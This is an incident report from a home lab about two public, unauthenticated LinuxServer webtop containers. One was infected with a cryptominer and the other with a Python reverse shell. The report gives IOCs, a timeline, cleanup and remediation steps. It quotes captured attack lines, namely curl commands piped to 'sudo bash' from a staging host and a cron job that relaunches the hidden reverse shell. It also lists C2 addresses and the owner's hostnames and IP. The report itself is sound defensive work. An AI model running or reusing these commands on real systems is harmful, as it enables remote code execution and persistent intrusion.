175 lines
8.4 KiB
Markdown
175 lines
8.4 KiB
Markdown
# Incident 2026-11-11 — Container compromise (GIMP + LMMS webtops)
|
|
|
|
**Status:** CONTAINED (both infected containers stopped) · **Host:** no evidence of compromise so far
|
|
**Discovered by:** GIMP ON/OFF toggle appearing broken + unexplained memory/CPU use
|
|
|
|
## Summary
|
|
|
|
Two LinuxServer **webtop** containers were compromised through their **unauthenticated,
|
|
publicly-reachable web desktops**:
|
|
|
|
1. **`family-home-lab-gimp-1`** — cryptominer
|
|
2. **`lmms`** — reverse-shell backdoor with cron persistence
|
|
|
|
Both containers were reachable from the public internet with **no login** (no `CUSTOM_USER` /
|
|
`PASSWORD` set — LinuxServer webtop default = wide open).
|
|
|
|
## Timeline
|
|
|
|
| When | Event |
|
|
|---|---|
|
|
| 2026-11-05 12:30 | GIMP container started (restart: unless-stopped) |
|
|
| 2026-11-06 00:00:08 | Fake `kswapd0` process launched in GIMP (= miner start) |
|
|
| 2026-10-26 22:20 | `/etc/.sys_core/` created in LMMS container |
|
|
| 2026-11-11 08:13 | LMMS backdoor payload rewritten (attacker active today) |
|
|
| 2026-11-11 16:4x | Discovery: GIMP 2.1 GiB RAM / 1079% CPU; both containers stopped |
|
|
|
|
## Indicator of Compromise #1 — GIMP cryptominer
|
|
|
|
```
|
|
Process name : ks<U+FEFF><U+200B>wapd0 (mimics kernel kswapd0)
|
|
Parent : 111599
|
|
Started : Fri Nov 6 00:00:08 2026 (ran 5d 16h)
|
|
Resource use : 1079% CPU, 2.112 GiB RSS (13.2% of host RAM)
|
|
Binary : unreadable / deleted after launch (readlink /proc/PID/exe → empty)
|
|
Outbound : 172.67.131.146:443, 203.188.174.67:3222
|
|
```
|
|
|
|
The genuine kernel thread `[kswapd0]` (pid 114, in brackets) is unrelated and normal.
|
|
|
|
## Indicator of Compromise #2 — LMMS reverse shell
|
|
|
|
Persistence (`crontab -l` inside container), re-launches every 30 min:
|
|
|
|
```
|
|
*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }
|
|
```
|
|
|
|
Payload: `/etc/.sys_core/system.py` — Python reverse shell:
|
|
|
|
```python
|
|
SERVER = "84.8.219.196"
|
|
PORT = 4444
|
|
# connects out, receives commands, runs them via subprocess.check_output(shell=True),
|
|
# returns output; flock lock file /tmp/.sys_core.lock prevents duplicates
|
|
```
|
|
|
|
- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
|
|
- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
|
|
|
|
## Attack chain (reconstructed from LMMS container logs)
|
|
|
|
The webtop's own web terminal was used to run an automated exploit kit. Captured and
|
|
base64-decoded from `docs/incident-2026-11-11/lmms-logs.txt`:
|
|
|
|
```bash
|
|
curl -k https://scripty.mooo.com/all/ | tr -d '\r' | sudo bash
|
|
curl -k https://scripty.mooo.com/shell/ | tr -d '\r' | sudo bash
|
|
```
|
|
|
|
Each invocation was wrapped in a `RESULT_<hash>` / `xclip -selection clipboard` harness,
|
|
i.e. a **bot driving the desktop through KasmVNC** (`INFO:data_websocket:Successfully
|
|
launched command … with PID`) and reading results back via the clipboard. Nine distinct
|
|
attempts are logged, so this was automated, repeated exploitation — not a one-off.
|
|
|
|
Root was available because a LinuxServer webtop maps `abc` (uid 1000) to root and allows
|
|
**passwordless sudo** (`sudo -n -l` → `(ALL : ALL) ALL`). So "web access to the desktop" is
|
|
equivalent to "root inside the container".
|
|
|
|
Chain: public hostname → unauthenticated desktop → web terminal → passwordless sudo →
|
|
`curl | sudo bash` → miner (GIMP) / reverse shell + cron persistence (LMMS).
|
|
|
|
## Attacker infrastructure (block these)
|
|
|
|
- **`scripty.mooo.com`** — exploit-kit staging, paths `/all/` and `/shell/` (pipes straight to `sudo bash`)
|
|
- `84.8.219.196` — reverse-shell C2, TCP 4444
|
|
- `203.188.174.67` — miner endpoint, TCP 3222
|
|
- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)
|
|
|
|
## Exposure that allowed entry
|
|
|
|
| Host | Public URL | Auth | State |
|
|
|---|---|---|---|
|
|
| GIMP | gimp.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
|
| LMMS | lmms.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
|
| Video editor | video.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
|
| Audio editor | audio.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
|
| Console | console.lab.audasmedia.com.au | portal login (303) | OK |
|
|
|
|
Caddy routes these straight to `192.168.20.13:8083/8084/8087/8085` with no `basic_auth`.
|
|
Public IP `144.6.86.11` → router → `.35` (Caddy).
|
|
|
|
## Data exposure (assume credentials compromised)
|
|
|
|
GIMP mounted the **entire home directory read-only**:
|
|
|
|
```
|
|
/home/sam -> /home/sam (ro) # readable by attacker: .ssh, .env files, 10-secrets.conf
|
|
/home/sam/Downloads -> ... (rw) # writable
|
|
/home/sam/Pictures -> ... (rw) # writable
|
|
/mnt/data/family-home-lab/shared-media -> /media (rw)
|
|
```
|
|
|
|
LMMS mounted `lmms-config` **rw** and `shared-media` ro.
|
|
|
|
The reverse shell executed arbitrary commands **as root inside the container** for an unknown
|
|
period, with read access to the whole home directory. Treat anything readable from `/home/sam`
|
|
as potentially stolen.
|
|
|
|
## Clean-up performed
|
|
|
|
- [x] `docker stop family-home-lab-gimp-1` — miner killed (2.1 GiB + 11 cores reclaimed)
|
|
- [x] `docker stop lmms` — backdoor + cron watchdog killed
|
|
- [x] `docker stop video-editor audio-editor` — closed the remaining public exposure
|
|
- [x] Evidence captured and copied to `docs/incident-2026-11-11/`
|
|
- [x] `video-editor` / `audio-editor` checked — **no** `/etc/.sys_core` artifact
|
|
- [x] All other containers scanned — no miner strings, no deleted-binary processes, no mining-port traffic
|
|
- [x] Host checked: no new `authorized_keys` entries (last modified 2026-10-16), no host crontab,
|
|
no shell-rc tampering, systemd user units (`chrome-pi`, `tuios`, `tuios-web`) verified legitimate
|
|
|
|
## Remediation applied (2026-11-11)
|
|
|
|
- [x] **Caddy basic_auth** added to `gimp.lab`, `lmms.lab`, `video.lab`, `audio.lab`
|
|
(reuses the existing `(basic-auth)` snippet). Verified: all four now return **401**
|
|
from the public internet. Config backup: `/Docker/Containers/caddy/Caddyfile.bak.2026-11-11`
|
|
- [x] **Webtop-native login** enabled: `CUSTOM_USER=family` + `PASSWORD` (28-char random,
|
|
in `.env` on `.13`, mode 600, git-ignored) on all four webtops — defence in depth
|
|
behind Caddy
|
|
- [x] **Infected GIMP rebuilt clean**: container removed, `family-home-lab_gimp-config`
|
|
volume deleted, recreated from image
|
|
- [x] **Infected LMMS rebuilt clean**: container removed, `lmms-config` bind **quarantined**
|
|
to `lmms-config.QUARANTINE-2026-11-11` (kept for inspection), fresh dir recreated
|
|
- [x] **`/home/sam:/home/sam:ro` mount removed** from the GIMP service (was exposing
|
|
`.ssh` and secret files to the container)
|
|
- [x] **Post-rebuild IOC scan**: all four webtops clean (no `system.py`, no fake `kswapd0`,
|
|
no `sys_core` cron)
|
|
- [x] **Resource verification**: GIMP 2.1 GiB / 1079% CPU → **380 MiB / 0.6% CPU**
|
|
- [x] Service-controller restarted; all 8 services report accurate state; GIMP stop/start
|
|
verified end-to-end through the controller
|
|
|
|
## Outstanding / recommended
|
|
|
|
1. **Stop or gate `video.lab` and `audio.lab`** — still open to the internet, same design flaw.
|
|
2. **Add authentication** to every webtop: `CUSTOM_USER` + `PASSWORD` env (webtop native) *and*
|
|
Caddy `basic_auth` in front (defence in depth).
|
|
3. **Rebuild, don't restart** GIMP and LMMS: `docker compose rm -sf gimp lmms`,
|
|
delete the `gimp-config` volume and `lmms-config` bind, recreate from image.
|
|
The payloads lived in `/etc` (ephemeral) but the volumes are untrusted.
|
|
4. **Rotate secrets** readable from `/home/sam`: `10-secrets.conf`, `.env` files, SSH keys,
|
|
any API tokens. GIMP had read access for 5 days.
|
|
5. **Inspect** `~/Downloads`, `~/Pictures`, `shared-media` for attacker-written files.
|
|
6. **Remove** `/home/sam:ro` and the rw `Downloads`/`Pictures` mounts from the GIMP service.
|
|
7. **Review** `voice_intake_watchdog` — it mounts `docker.sock` (host root equivalent by design).
|
|
8. Block `84.8.219.196` and `203.188.174.67` at the router/firewall.
|
|
|
|
## Why the console "couldn't turn GIMP off"
|
|
|
|
Two independent faults:
|
|
|
|
1. The **service-controller was dead** (`inactive`), so Start/Stop requests did nothing.
|
|
Restarted; `/health` OK, 8 services.
|
|
2. **Stop would not have helped anyway** — `restart: unless-stopped` plus the miner being a
|
|
separate process meant the container kept running; and the card showed `Stopped` while the
|
|
container was actually up, because `docker inspect gimp` used the wrong container name
|
|
(`gimp` vs the real `family-home-lab-gimp-1`).
|